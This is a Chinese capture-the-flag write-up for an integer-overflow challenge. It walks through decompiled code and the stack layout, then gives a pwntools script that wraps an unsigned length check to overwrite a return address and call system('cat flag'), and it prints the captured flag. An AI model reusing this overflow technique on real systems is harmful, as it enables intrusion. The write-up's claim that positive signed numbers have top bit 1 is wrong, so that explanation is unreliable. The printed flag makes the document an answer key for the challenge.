题目描述:
菜鸡感觉这题似乎没有办法溢出,真的么?
题目场景
111.200.241.244:44057
题目附件:
51ed19eacdea43e3bd67217d08eb8a0e
题目思路:
整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,无符号数取值范围为非负数。unsigned short int类型占用2字节,取值范围0~65535。
解题过程:
对于一个2字节的Unsigned short int型变量,它的有效数据长度为两个字节,当它的数据长度超过两个字节时,使用的数据仅为最后2个字节,溢出的部分则直接忽略。
dec | 1 | 65537 |
---|---|---|
bin | 1 | 1 0000 0000 0000 0001 |
1位 | 1位+1字节+8位 |
对于unsigned short int类型的两个变量var1、var2,假定取值var1 = 1,var2 = 65537,因此会出现var1=var2的情况。
#include <stdio.h>
int main(){
unsigned short int var1 = 1, var2 = 65537;
if (var1 == var2){
printf("溢出");
}
return 0;
}
//结果:溢出
回到题目,我们首先checksec
一下,发现是32位小端序,保护开启了NX,没有Stack和PIE
载入IDA,F5反编译得到伪C代码,在main函数中,没有任何可疑的,进入login函数:
int login(){
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]
memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}
接受了一个最大长度为0x199(409)的buf,进入check_passwd函数:
char *__cdecl check_passwd(char *passwds){
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(passwds);
if ( v3 <= 3u || v3 > 8u ){
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else{
puts("Success");
fflush(stdout);
result = strcpy(&dest, passwds);
}
return result;
}
用一个一字节8位的变量v3存储passwds(buf)的长度,最后存在一个字符串拷贝,拷贝目的地在栈中,长度为0x14(20)。
-00000018 ; D/A/* : change type (data/ascii/array)
-00000018 ; N : rename
-00000018 ; U : undefine
-00000018 ; Use data definition commands to create local variables and function arguments.
-00000018 ; Two special fields " r" and " s" represent return address and saved registers.
-00000018 ; Frame size: 18; Saved regs: 4; Purge: 0
-00000018 ;
......
-00000014 dest db ?
......
-00000009 var_9 db ?
......
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 passwds dd ? ; offset
+0000000C
+0000000C ; end of stack variables
在字符串拷贝过程中,输入0x14(20)个字符之后,就可以覆盖函数返回地址了,但是限制输入长度在3-8之间,但是由于是unsigned类型,只保留最后2字节,而且由于buf<0x199(409),所以也只能是0x14位覆盖到完栈+4位覆盖s+4位返回地址+一个随机数
在259~264之间。
dec | 3 | 8 | 259 | 264 | 771>409 |
---|---|---|---|---|---|
bin | 0011 | 1000 | 1 0000 0011 | 1 0000 1000 | 11 0000 0011 |
shift+f12查看字符串,发现cat flag字符串,双击进去x键跟踪一下,tab+空格切换视图,查看调用得到what_is_this地址0x0804868B。
.text:0804868B public what_is_this
.text:0804868B what_is_this proc near
.text:0804868B ; __unwind {
.text:0804868B push ebp
.text:0804868C mov ebp, esp
.text:0804868E sub esp, 8
.text:08048691 sub esp, 0Ch
.text:08048694 push offset command ; "cat flag"
.text:08048699 call _system
.text:0804869E add esp, 10h
.text:080486A1 nop
.text:080486A2 leave
.text:080486A3 retn
.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this endp
脚本,其中payload中每部分位置是根据栈结构而来,最后一部分若删除,则不通过3<v3<8:
from pwn import *
import random
io = remote("111.200.241.244",44057)
cat_flag_addr = 0x0804868B
io.sendlineafter("Your choice:", "1")
io.sendlineafter("your username:", "Scorpio_m7")
io.recvuntil("your passwd:")
payload = "a" * 0x14 + "a"*4 + p32(cat_flag_addr)+"a"*random.randint(231,235)#0x14(20)+4*a+r(4)+(231~235)*a=259~264
io.sendline(payload)
io.recv()
io.interactive()
cyberpeace{fbac44e615408e63bd35f714a21ce50c}